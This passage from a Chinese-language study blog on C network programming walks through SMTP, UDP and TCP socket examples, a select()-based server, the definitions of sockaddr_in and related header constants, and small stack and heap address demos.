send(sockfd, buf, strlen(buf), 0);
printf("%s\n", buf);
memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// PASSWORD
sprintf(buf, "password");
memset(pass, 0, 128);
base64(pass, buf, strlen(buf));
sprintf(buf, "%s\r\n", pass);
send(sockfd, buf, strlen(buf), 0);
printf("%s\n", buf);

memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// MAIL FROM
memset(buf, 0, 1500);
sprintf(buf, "MAIL FROM: <[email protected]>\r\n");
send(sockfd, buf, strlen(buf), 0);
memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// RCPT TO 第一个收件人
sprintf(buf, "RCPT TO:<%s>\r\n", email);
send(sockfd, buf, strlen(buf), 0);
memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// DATA 准备开始发送邮件内容
sprintf(buf, "DATA\r\n");
send(sockfd, buf, strlen(buf), 0);
memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// 发送邮件内容,\r\n.\r\n内容结束标记
sprintf(buf, "%s\r\n.\r\n", body);
send(sockfd, buf, strlen(buf), 0);
memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// QUIT
sprintf(buf, "QUIT\r\n");
send(sockfd, buf, strlen(buf), 0);
memset(rbuf, 0, 1500);
recv(sockfd, rbuf, 1500, 0);
printf("%s\n", rbuf);

// VC2005 需要使用
//closesocket(sockfd);
close(sockfd);
#ifdef WIN32
WSACleanup();
#endif
return;

}
// 打开TCP Socket连接
int open_socket(struct sockaddr *addr)
{
int sockfd = 0;
sockfd=socket(PF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
{
fprintf(stderr, "Open sockfd(TCP) error!\n");
exit(-1);
}
if(connect(sockfd, addr, sizeof(struct sockaddr)) < 0)
{
fprintf(stderr, "Connect sockfd(TCP) error!\n");
exit(-1);
}
return sockfd;
}

其他协议,后续学到再补充。

UDP套接字

在前一夜的复习中实现了一个C/S架构的TCP套接字demo。今天首先通过创建一个UDP的套接字例子来区分UDP Socket和TCP Socket的使用区别。

客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/*
* 源码出处:https://blog.csdn.net/htianlong/article/details/7560841
* 编译:gcc -m32 -o client client.c
* 用法:sudo ./client localhost AAAA 8888
*/
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>


#define BUFFSIZE 255
void Die(char *mess) { perror(mess); exit(1); }


int main(int argc, char *argv[]) {
int sock;
struct sockaddr_in echoserver;
struct sockaddr_in echoclient;
struct hostent *host; /* host information */
struct in_addr h_addr; /* Internet address */

char buffer[BUFFSIZE];

unsigned int echolen, clientlen;
int received = 0;

if (argc != 4) {
fprintf(stderr, "USAGE: %s <server> <word> <port>\n", argv[0]);
exit(1);
}

/* Create the UDP socket */
if ((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
Die("Failed to create socket");
}

if ((host = gethostbyname(argv[1])) == NULL) {
Die("Host address look up failed");
}

h_addr.s_addr = *((unsigned long *) host->h_addr_list[0]);
//printf("Address :%s\n", inet_ntoa(h_addr));

/* Construct the server sockaddr_in structure */
memset(&echoserver, 0, sizeof(echoserver)); /* Clear struct */
echoserver.sin_family = AF_INET; /* Internet/IP */
echoserver.sin_addr.s_addr = h_addr.s_addr;
echoserver.sin_port = htons(atoi(argv[3])); /* server port */

/* Send the word to the server */
echolen = strlen(argv[2]);
if (sendto(sock, argv[2], echolen, 0, (struct sockaddr *) &echoserver, sizeof(echoserver)) != echolen) {
Die("Mismatch in number of sent bytes");
}
}

服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/*
* 源码出处:https://blog.csdn.net/htianlong/article/details/7560841
* 编译:gcc -m32 -o server server.c
* 用法:sudo ./server 8888
*/
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>

#define BUFFSIZE 255
void Die(char *mess) { perror(mess); exit(1); }

int main(int argc, char *argv[]) {
int sock;
struct sockaddr_in echoserver;
struct sockaddr_in echoclient;
char buffer[BUFFSIZE];
unsigned int echolen, clientlen, serverlen;
int received = 0;

if (argc != 2) {
fprintf(stderr, "USAGE: %s <port>\n", argv[0]);
exit(1);
}

/* Create the UDP socket */
if ((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
Die("Failed to create socket");
}

/* Construct the server sockaddr_in structure */
memset(&echoserver, 0, sizeof(echoserver)); /* Clear struct */
echoserver.sin_family = AF_INET; /* Internet/IP */
echoserver.sin_addr.s_addr = htonl(INADDR_ANY); /* Any IP address */
echoserver.sin_port = htons(atoi(argv[1])); /* server port */

/* Bind the socket */
serverlen = sizeof(echoserver);
if (bind(sock, (struct sockaddr *) &echoserver, serverlen) < 0) {
Die("Failed to bind server socket");
}

/* Run until cancelled */
while (1) {
/* Receive a message from the client */
clientlen = sizeof(echoclient);
if ((received = recvfrom(sock, buffer, BUFFSIZE, 0, (struct sockaddr *) &echoclient, &clientlen)) < 0) {
Die("Failed to receive message");
}

fprintf(stderr, "Client %s connected:\nMessage:%s\n", inet_ntoa(echoclient.sin_addr),buffer);
/* Send the message back to client */
if(sendto(sock, buffer, received, 0, (struct sockaddr *) &echoclient, sizeof(echoclient)) != received) {
Die("Mismatch in number of echo'd bytes");
}
}
}

TCP Socker Server

本例以一个简单的http server来演示socket server构建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
* 编译:gcc -m32 -o http_server http_server.c
* 运行:./http_server 8080
*/
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>

#define MAXPENDING 5 /* Max connection requests */
#define BUFFSIZE 32

void Die(char *mess) { perror(mess); exit(1); }

void HandleClient(int sock) {
char buffer[BUFFSIZE];
char response[] = "HTTP/1.1 200 OK\nConnection: close\n\n<html><head><title>Test</title></head><body><h1>Test</h1></body></html>\n\n";
send(sock, response, sizeof(response), 0);
close(sock);
}


int main(int argc, char *argv[]) {
int serversock, clientsock;
struct sockaddr_in echoserver, echoclient;

if (argc != 2) {
fprintf(stderr, "USAGE: echoserver <port>\n");
exit(1);
}
/* Create the TCP socket */
if ((serversock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
Die("Failed to create socket");
}
/* Construct the server sockaddr_in structure */
memset(&echoserver, 0, sizeof(echoserver)); /* Clear struct */
echoserver.sin_family = AF_INET; /* Internet/IP */
echoserver.sin_addr.s_addr = htonl(INADDR_ANY); /* Incoming addr */
echoserver.sin_port = htons(atoi(argv[1])); /* server port */

/* Bind the server socket */
if (bind(serversock, (struct sockaddr *) &echoserver,
sizeof(echoserver)) < 0) {
Die("Failed to bind the server socket");
}

/* Listen on the server socket */
if (listen(serversock, MAXPENDING) < 0) {
Die("Failed to listen on server socket");
}

/* Run until cancelled */
while (1) {
unsigned int clientlen = sizeof(echoclient);
/* Wait for client connection */
if ((clientsock = accept(serversock, (struct sockaddr *) &echoclient, &clientlen)) < 0) {
Die("Failed to accept client connection");
}

fprintf(stdout, "Client connected: %s\n", inet_ntoa(echoclient.sin_addr));
HandleClient(clientsock);
}
}

阻塞套接字与非阻塞套接字

在阻塞的套接字中,服务端接收到的请求需要排队对其进行处理,这就形成了套接字阻塞。为了解决套接字阻塞的问题,可以创建非阻塞的服务端模型。
一个在网上找的非阻塞套接字的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
/***************************************************************************
* 文件名称:select_socket.c
* 源码出处:https://blog.csdn.net/pinkbean/article/details/71937646
* 文件作用:这个文件的作用是用来编写一个单进程,单线程的多客户的套接字的客户端
****************************************************************************/

#include <stdio.h> //引入stdio.h头文件,这个头文件中包含了Linux上相关的IO流操作函数
#include <stdlib.h> //引入stdlib.h头文件,这个头文件中包含了Linux下的一些标准的函数
#include <string.h> //引入string,h头文件,这个头文件中包含了字符串操作的相关函数
#include <errno.h> //引入errno.h头文件,这个头文件中包含了错误处理的相关函数
#include <sys/types.h> //引入sys/目录下面的types.h头文件,这个头文件中包含了相关类型的定义
#include <sys/socket.h> //引入sys/目录下面的socket.h头文件,这个头文件中包含了套接字相关的头文件
#include <sys/time.h> //引入sys/目录下面的time.h头文件,这个头文件中包含了时间操作的相关函数和相关的结构体
#include <netinet/in.h> //引入netinet.h/目录下面的in.h头文件,这个头文件中包含了网络字节序列转换的相关函数,还有相关的网域的宏定义
#include <unistd.h>
#include <ctype.h>

int main(int argc, char* argv[]){
//开始定义要使用的相关变量-------------------------
int ret; //定义一个int类型的数据,这个int类型的数据用来保存函数的运行结果
int server_socket; //定义一个int类型的数据用来保存本地建立的服务端的套接字
int conn_socket; //定义一个int类型的数据用来保存客户端和本地连接好的套接字
char RecvBuffer[1024]; //定义一个char类型的字符串,这个字符串用来保存从客户端接收到的数据
char SendBuffer[1024]; //定义一个char类型的字符串,这个字符串用来保存要向客户端发送的数据
struct sockaddr_in server_address; //定义一个sockaddr_in类型的结构体,这个结构体来保存你服务端的相关地址
struct sockaddr_in conn_address; //定义一个sockaddr_in类型的结构体,这个结构体用来保存连接服务端之后的客户端的地址信息
fd_set readfds, readcpyfds; //定义两个文件描述集合

//将相关的变量进行初始化---------------------------
memset(RecvBuffer, 0x00, sizeof(RecvBuffer));
memset(SendBuffer, 0x00, sizeof(SendBuffer));
memset(&server_address, 0x00, sizeof(server_address));
memset(&conn_address, 0x00, sizeof(conn_address));

//开始命名套接字,并且建立监听队列---------------
server_socket = socket(AF_INET, SOCK_STREAM, 0); //创建一个因特网下的流套接字,协议默认定义
server_address.sin_family = AF_INET; //地址使用的协议簇为AF_INET
server_address.sin_addr.s_addr = htonl(INADDR_ANY); //定义这个服务端的套接字的可以接受的地址为任意地址,并且使用htonl将地址转化为网络字节序列
server_address.sin_port = htons(8888); //将端口转化为网络字节序列,监听8888端口

bind(server_socket, (struct sockaddr*)&server_address, sizeof(server_address)); //使用bind函数为套接字来进行命名
listen(server_socket, 10); //为我们创建的本地套接字创建监听队列,这个队列长为10个连接数

//开始操作文件描述符集合---------------------------
FD_ZERO(&readfds); //使用FD_ZERO()函数将readfds文件描述符集合清空
FD_SET(server_socket, &readfds); //将server_socket这个文件描述符添加到readfds

//开始使用while()循环来接收连接--------------------
while(1){
readcpyfds = readfds; //将readfds进行一次备份

/*使用select()函数来监控文件描述符集合readcpyfds,如果这个集合中的任意一个文件描述符变为可写的状态select就返回,
*因为我们不需要可写和错误的文件描述符,就直接将2,3参数设置为0(0表示空,还进行了强制类型转换),同时我们将
*时间设置为空,表示select将阻塞*/
ret = select(FD_SETSIZE, &readcpyfds, (fd_set*)0, (fd_set*)0, (struct timeval*)0);
if(ret < 1)
{
fprintf(stderr, "select error!\n"); //输出错误信息
exit(EXIT_FAILURE); //进程失败退出
}

int fd; //定义一个整形变量,这个整形变量用来控制循环
for(fd = 0; fd < FD_SETSIZE; fd++) //使用for循环来对文件描述符进行检索和操作,FD_SETSIZE为文件描述符集合的最大容量
{
if(FD_ISSET(fd, &readcpyfds)) //如果fd为testfds中设置的文件描述符
{
if(fd == server_socket) //如果fd == server_socket,表示是有客户端要连接服务端
{
int size = sizeof(conn_address); //得到结构体的大小
conn_socket = accept(server_socket, (struct sockaddr*)&conn_address, &size); //使用accept()函数来接受客户端传来的连接,将客户端连接的地址的信息保存到conn_address中
FD_SET(conn_socket, &readcpyfds); //将conn_sockfd这个已经连接好的套接字描述符保存到文件描述符集合中readcpyfds这个集合中
printf("We have recved a connection!\n"); //输出信息
}
else //如果不是server_socket那就表示是已经创建好连接的套接字字符,我们开始接受客户端传过来的数据,再将数据传回去
{
ret = recv(fd, RecvBuffer, sizeof(RecvBuffer), 0); //使用recv()函数将把从建立好的连接的数据保存到RecvBuffer中
if(ret < 0){
fprintf(stderr, "recv error!, The error is %s, errno is %d\n", strerror(errno), errno);
exit(EXIT_FAILURE); //进程异常退出
}
else if(ret == 0) //ret为0表示超时
{
printf("recv() time over!\n"); //输出超时
exit(EXIT_FAILURE); //进程异常退出
}
printf("The data we recve is %s\n", RecvBuffer); //输出我们接收到的数据

char* ptr; //定义一个char*指针,这个指针这个指针用来转化大小写
for(ptr = RecvBuffer; *ptr; ptr++) //将字符串中的数据转化为大写
{
*ptr = toupper(*ptr); //将小写转化为大写
}
strcpy(SendBuffer, RecvBuffer); //将RecvBuffer中的数据复制到SendBuffer中

send(fd, SendBuffer, strlen(SendBuffer), 0); //将SendBuffer中的数据发送回fd这个建立好连接的套接字中
FD_CLR(fd, &readfds); //将readfds中的fd这个文件描述符清除掉,以防在副本中出现多余的文件描述符
memset(RecvBuffer, 0x00, sizeof(RecvBuffer)); //将接受数据的字符串和发送数据的字符串清空
memset(SendBuffer, 0x00, sizeof(SendBuffer));
close(fd); //关闭套接字的连接
}
}
}
}
}

多线程非阻塞套接字

待后续补充。

参考资料

Linux socket 编程,第一部分
Linux socket 编程,第二部分
Linux下的socket演示程序
编写一个单进程非阻塞多客户的套接字客户端

没有人逼你学C语言,但它在复杂的计算世界中,曲径通幽。

socket相关的数据结构

sockaddr_in
sockaddr_in结构体定义在/usr/include/netinet/in.h中,它的定义是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* Structure describing an Internet socket address.  */
struct sockaddr_in
{
__SOCKADDR_COMMON (sin_);
in_port_t sin_port; /* Port number. */
struct in_addr sin_addr; /* Internet address. */

/* Pad to size of `struct sockaddr'. */
unsigned char sin_zero[sizeof (struct sockaddr) -
__SOCKADDR_COMMON_SIZE -
sizeof (in_port_t) -
sizeof (struct in_addr)];
};

这个结构体中又涉及到另外几个类型和宏定义,包括__SOCKADDR_COMMON、in_port_t、in_addr。

__SOCKADDR_COMMON

__SOCKADDR_COMMON定义在bits/sockaddr.h当中,它的作用是将sin_和family参数拼接为对应的sa_family_t类型的地址家族。

1
2
3
4
5
6
7
8
9
/* POSIX.1g specifies this type name for the `sa_family' member.  */
typedef unsigned short int sa_family_t;

/* This macro is used to declare the initial common members
of the data types used for socket addresses, `struct sockaddr',
`struct sockaddr_in', `struct sockaddr_un', etc. */

#define __SOCKADDR_COMMON(sa_prefix) \
sa_family_t sa_prefix##family

也就是说这个预处理宏定义的意思是将sin_和family拼接在一起构成sa_family_t类型的sin_family。

sa_family_t就是短整形,长度16 bits的整数。

所以sockaddr_in结构体的第一个元素其实是sa_family_t类型的sin_family参数。

in_port_t

in_port_t实际上是uint16_t,16位的无符号整数。

1
typedef uint16_t in_port_t;

uint16_t其实就是__uint16_t,表示unsigned short int,它的长度是2个字节,能表示的范围是0-65535。

in_addr

这个显而易见,就是表示一个IPv4的地址:

1
2
3
4
5
6
/* Internet address.  */
typedef uint32_t in_addr_t;
struct in_addr
{
in_addr_t s_addr;
};

而uint32_t也就是__uint32_t,表示unsigned int,一共4个字节。IP地址一般是拆成点分十进制看的,一个字节能表示的范围是0-255,所以的in_addr也就是能表示成0.0.0.0 ~ 255.255.255.255。

sin_zero

sin_zero的相关定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Structure describing an Internet (IP) socket address. */
#if __UAPI_DEF_SOCKADDR_IN
#define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */
struct sockaddr_in {
__kernel_sa_family_t sin_family; /* Address family */
__be16 sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */

/* Pad to size of `struct sockaddr'. */
unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) -
sizeof(unsigned short int) - sizeof(struct in_addr)];
};
#define sin_zero __pad /* for BSD UNIX comp. -FvK */
#endif

__pad声明了一个长素为8个字节的字符数组。

1
2
__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)
= 16 - 2 - 2 - 4 = 8

sin_family的类型

在C语言实现网络通信中,最开始需要做的就是声明并且初始化sockaddr_in结构体。
其中sin_family的类型有这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
/* Protocol families.  */
#define PF_UNSPEC 0 /* Unspecified. */
#define PF_LOCAL 1 /* Local to host (pipes and file-domain). */
#define PF_UNIX PF_LOCAL /* POSIX name for PF_LOCAL. */
#define PF_FILE PF_LOCAL /* Another non-standard name for PF_LOCAL. */
#define PF_INET 2 /* IP protocol family. */
#define PF_AX25 3 /* Amateur Radio AX.25. */
#define PF_IPX 4 /* Novell Internet Protocol. */
#define PF_APPLETALK 5 /* Appletalk DDP. */
#define PF_NETROM 6 /* Amateur radio NetROM. */
#define PF_BRIDGE 7 /* Multiprotocol bridge. */
#define PF_ATMPVC 8 /* ATM PVCs. */
#define PF_X25 9 /* Reserved for X.25 project. */
#define PF_INET6 10 /* IP version 6. */
#define PF_ROSE 11 /* Amateur Radio X.25 PLP. */
#define PF_DECnet 12 /* Reserved for DECnet project. */
#define PF_NETBEUI 13 /* Reserved for 802.2LLC project. */
#define PF_SECURITY 14 /* Security callback pseudo AF. */
#define PF_KEY 15 /* PF_KEY key management API. */
#define PF_NETLINK 16
#define PF_ROUTE PF_NETLINK /* Alias to emulate 4.4BSD. */
#define PF_PACKET 17 /* Packet family. */
#define PF_ASH 18 /* Ash. */
#define PF_ECONET 19 /* Acorn Econet. */
#define PF_ATMSVC 20 /* ATM SVCs. */
#define PF_RDS 21 /* RDS sockets. */
#define PF_SNA 22 /* Linux SNA Project */
#define PF_IRDA 23 /* IRDA sockets. */
#define PF_PPPOX 24 /* PPPoX sockets. */
#define PF_WANPIPE 25 /* Wanpipe API sockets. */
#define PF_LLC 26 /* Linux LLC. */
#define PF_IB 27 /* Native InfiniBand address. */
#define PF_MPLS 28 /* MPLS. */
#define PF_CAN 29 /* Controller Area Network. */
#define PF_TIPC 30 /* TIPC sockets. */
#define PF_BLUETOOTH 31 /* Bluetooth sockets. */
#define PF_IUCV 32 /* IUCV sockets. */
#define PF_RXRPC 33 /* RxRPC sockets. */
#define PF_ISDN 34 /* mISDN sockets. */
#define PF_PHONET 35 /* Phonet sockets. */
#define PF_IEEE802154 36 /* IEEE 802.15.4 sockets. */
#define PF_CAIF 37 /* CAIF sockets. */
#define PF_ALG 38 /* Algorithm sockets. */
#define PF_NFC 39 /* NFC sockets. */
#define PF_VSOCK 40 /* vSockets. */
#define PF_KCM 41 /* Kernel Connection Multiplexor. */
#define PF_QIPCRTR 42 /* Qualcomm IPC Router. */
#define PF_SMC 43 /* SMC sockets. */
#define PF_MAX 44 /* For now.. */


/* Address families. */
#define AF_UNSPEC PF_UNSPEC
#define AF_LOCAL PF_LOCAL
#define AF_UNIX PF_UNIX
#define AF_FILE PF_FILE
#define AF_INET PF_INET
#define AF_AX25 PF_AX25
#define AF_IPX PF_IPX
#define AF_APPLETALK PF_APPLETALK
#define AF_NETROM PF_NETROM
#define AF_BRIDGE PF_BRIDGE
#define AF_ATMPVC PF_ATMPVC
#define AF_X25 PF_X25
#define AF_INET6 PF_INET6
#define AF_ROSE PF_ROSE
#define AF_DECnet PF_DECnet
#define AF_NETBEUI PF_NETBEUI
#define AF_SECURITY PF_SECURITY
#define AF_KEY PF_KEY
#define AF_NETLINK PF_NETLINK
#define AF_ROUTE PF_ROUTE
#define AF_PACKET PF_PACKET
#define AF_ASH PF_ASH
#define AF_ECONET PF_ECONET
#define AF_ATMSVC PF_ATMSVC
#define AF_RDS PF_RDS
#define AF_SNA PF_SNA
#define AF_IRDA PF_IRDA
#define AF_PPPOX PF_PPPOX
#define AF_WANPIPE PF_WANPIPE
#define AF_LLC PF_LLC
#define AF_IB PF_IB
#define AF_MPLS PF_MPLS
#define AF_CAN PF_CAN
#define AF_TIPC PF_TIPC
#define AF_BLUETOOTH PF_BLUETOOTH
#define AF_IUCV PF_IUCV
#define AF_RXRPC PF_RXRPC
#define AF_ISDN PF_ISDN
#define AF_PHONET PF_PHONET
#define AF_IEEE802154 PF_IEEE802154
#define AF_CAIF PF_CAIF
#define AF_ALG PF_ALG
#define AF_NFC PF_NFC
#define AF_VSOCK PF_VSOCK
#define AF_KCM PF_KCM
#define AF_QIPCRTR PF_QIPCRTR
#define AF_SMC PF_SMC
#define AF_MAX PF_MAX

其中最常用的AF_INET就是PF_INET,也就2所代表的IP协议家族。

sin_addr的赋值
sin_addr需要一个IPv4的地址作为值,in.h中定义了这样几个常用值,其中包括本地地址、多拨地址等:

写服务端socket最常用的INADDR_ANY地址就是((unsigned long int) 0x00000000),即 0.0.0.0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

/* Address to accept any incoming messages. */
#define INADDR_ANY ((unsigned long int) 0x00000000)

/* Address to send to all hosts. */
#define INADDR_BROADCAST ((unsigned long int) 0xffffffff)

/* Address indicating an error return. */
#define INADDR_NONE ((unsigned long int) 0xffffffff)

/* Network number for local host loopback. */
#define IN_LOOPBACKNET 127

/* Address to loopback in software to local host. */
#define INADDR_LOOPBACK 0x7f000001 /* 127.0.0.1 */
#define IN_LOOPBACK(a) ((((long int) (a)) & 0xff000000) == 0x7f000000)

/* Defines for Multicast INADDR */
#define INADDR_UNSPEC_GROUP 0xe0000000U /* 224.0.0.0 */
#define INADDR_ALLHOSTS_GROUP 0xe0000001U /* 224.0.0.1 */
#define INADDR_ALLRTRS_GROUP 0xe0000002U /* 224.0.0.2 */
#define INADDR_MAX_LOCAL_GROUP 0xe00000ffU /* 224.0.0.255 */
#endif

socket的类型
关于socket的类型,在bits/socket_type.h中定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/* Types of sockets.  */
enum __socket_type
{
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
byte streams. */
#define SOCK_STREAM SOCK_STREAM
SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams
of fixed maximum length. */
#define SOCK_DGRAM SOCK_DGRAM
SOCK_RAW = 3, /* Raw protocol interface. */
#define SOCK_RAW SOCK_RAW
SOCK_RDM = 4, /* Reliably-delivered messages. */
#define SOCK_RDM SOCK_RDM
SOCK_SEQPACKET = 5, /* Sequenced, reliable, connection-based,
datagrams of fixed maximum length. */
#define SOCK_SEQPACKET SOCK_SEQPACKET
SOCK_DCCP = 6, /* Datagram Congestion Control Protocol. */
#define SOCK_DCCP SOCK_DCCP
SOCK_PACKET = 10, /* Linux specific way of getting packets
at the dev level. For writing rarp and
other similar things on the user level. */
#define SOCK_PACKET SOCK_PACKET

/* Flags to be ORed into the type parameter of socket and socketpair and
used for the flags parameter of paccept. */

SOCK_CLOEXEC = 02000000, /* Atomically set close-on-exec flag for the
new descriptor(s). */
#define SOCK_CLOEXEC SOCK_CLOEXEC
SOCK_NONBLOCK = 00004000 /* Atomically mark descriptor(s) as
non-blocking. */
#define SOCK_NONBLOCK SOCK_NONBLOCK
};

socket相关的函数

主要是定义在sys/socket.h中的以下函数:

  • socket
  • bind
  • listen
  • accept
  • connect

关于这些函数的介绍暂不赘述,sys/socket.h里写的很详细。这里用一个socket基础的例子来演示其用法:

服务端server.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/*
* 源码出处:https://www.cnblogs.com/uestc-mm/p/7630145.html
* 编译:gcc -m32 -o server server.c
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[]){
int fd, new_fd, struct_len, numbytes;
struct sockaddr_in server_addr; // 定义在netinet/in.h
struct sockaddr_in client_addr;
char buff[BUFSIZ];//BUFSIZ定义在stdio.h,默认8192

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(8000);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
struct_len = sizeof(struct sockaddr_in);

fd = socket(AF_INET, SOCK_STREAM, 0); // 创建一个TCP类型的socket

while(bind(fd, (struct sockaddr *)&server_addr, struct_len) == -1);
printf("Bind Success!\n");

while(listen(fd, 10) == -1);
printf("Listening(%d)....\n", fd);

printf("Ready for Accept...\n");

while( new_fd = accept(fd, (struct sockaddr *)&client_addr, &struct_len) ){
printf("Get the New Client: %d\n", new_fd);

numbytes = send(new_fd,"Welcome to my server\n",21,0);

while((numbytes = recv(new_fd, buff, BUFSIZ, 0)) > 0)
{
buff[numbytes] = '\0';
printf("%s\n",buff);
if(send(new_fd,buff,numbytes,0)<0)
{
perror("write");
return 1;
}
}
close(new_fd);
}

close(fd);
return 0;
}

客户端client.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/*
* 源码出处:https://www.cnblogs.com/uestc-mm/p/7630145.html
* 编译:gcc -m32 -o client client.c
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc,char *argv[])
{
int sockfd,numbytes;
char buf[BUFSIZ];
struct sockaddr_in their_addr;
printf("break!");
while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
printf("We get the sockfd~\n");
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(8000);
their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
bzero(&(their_addr.sin_zero), 8);

while(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1);
printf("Get the Server~Cheers!\n");
numbytes = recv(sockfd, buf, BUFSIZ,0);//接收服务器端信息
buf[numbytes]='\0';
printf("%s",buf);
while(1)
{
printf("Entersome thing:");
scanf("%s",buf);
numbytes = send(sockfd, buf, strlen(buf), 0);
numbytes=recv(sockfd,buf,BUFSIZ,0);
buf[numbytes]='\0';
printf("received:%s\n",buf);
}
close(sockfd);
return 0;
}

参考资料

Linux下C语言的socket网络编程
socketpair的用法和理解
进程间通信:管道和socketpair的区别

计算机堆与栈的区别就不赘述了,本内容主要通过演练几个C语言的例子来观察和探索堆栈。

堆栈的内存分配

一个演示栈和堆内存分配情况的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <malloc.h>
int main(void){
/*在栈上分配*/
int i1=0;
int i2=0;
int i3=0;
int i4=0;
printf("栈:向下\n");
printf("i1=0x%08x\n",&i1);
printf("i2=0x%08x\n",&i2);
printf("i3=0x%08x\n",&i3);
printf("i4=0x%08x\n\n",&i4);
printf("--------------------\n\n");
/*在堆上分配*/
char *p1 = (char *)malloc(4);
char *p2 = (char *)malloc(4);
char *p3 = (char *)malloc(4);
char *p4 = (char *)malloc(4);
printf("p1=0x%08x\n",p1);
printf("p2=0x%08x\n",p2);
printf("p3=0x%08x\n",p3);
printf("p4=0x%08x\n",p4);
printf("堆:向上\n\n");
/*释放堆内存*/
free(p1);
p1=NULL;
free(p2);
p2=NULL;
free(p3);
p3=NULL;
free(p4);
p4=NULL;
return 0;
}

/*运行结果:
栈:向下
i1=0xffd0041c
i2=0xffd00418
i3=0xffd00414
i4=0xffd00410

--------------------

p1=0x56f5c570
p2=0x56f5c580
p3=0x56f5c590
p4=0x56f5c5a0
堆:向上

*/

综上:
内存中的栈区主要用于分配局部变量空间,处于相对较高的地址,其栈地址是向下增长的;而堆区则主要用于分配程序员申请的内存空间,堆地址是向上增长的。

另一个关于堆栈地址分配的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
编译:gcc -m32 -o test test.c
*/
#include <stdio.h>
#include <malloc.h>

void main(void){

char * fmt = "ebp:%#x\n";
char * p = "AAA ";
char *p1 = (char *)malloc(4);

asm(
"pushl %%ebx\n\t"
"pushl %0\n\t"
"call printf\n\t"
:
:"m"(fmt)
:
);

printf("fmt:%#x\n", fmt);
printf(" p:%#x\n", p);
printf(" p1:%#x\n", p1);

}

/*运行结果:
ebp:0x5661f000
fmt:0x5661d008
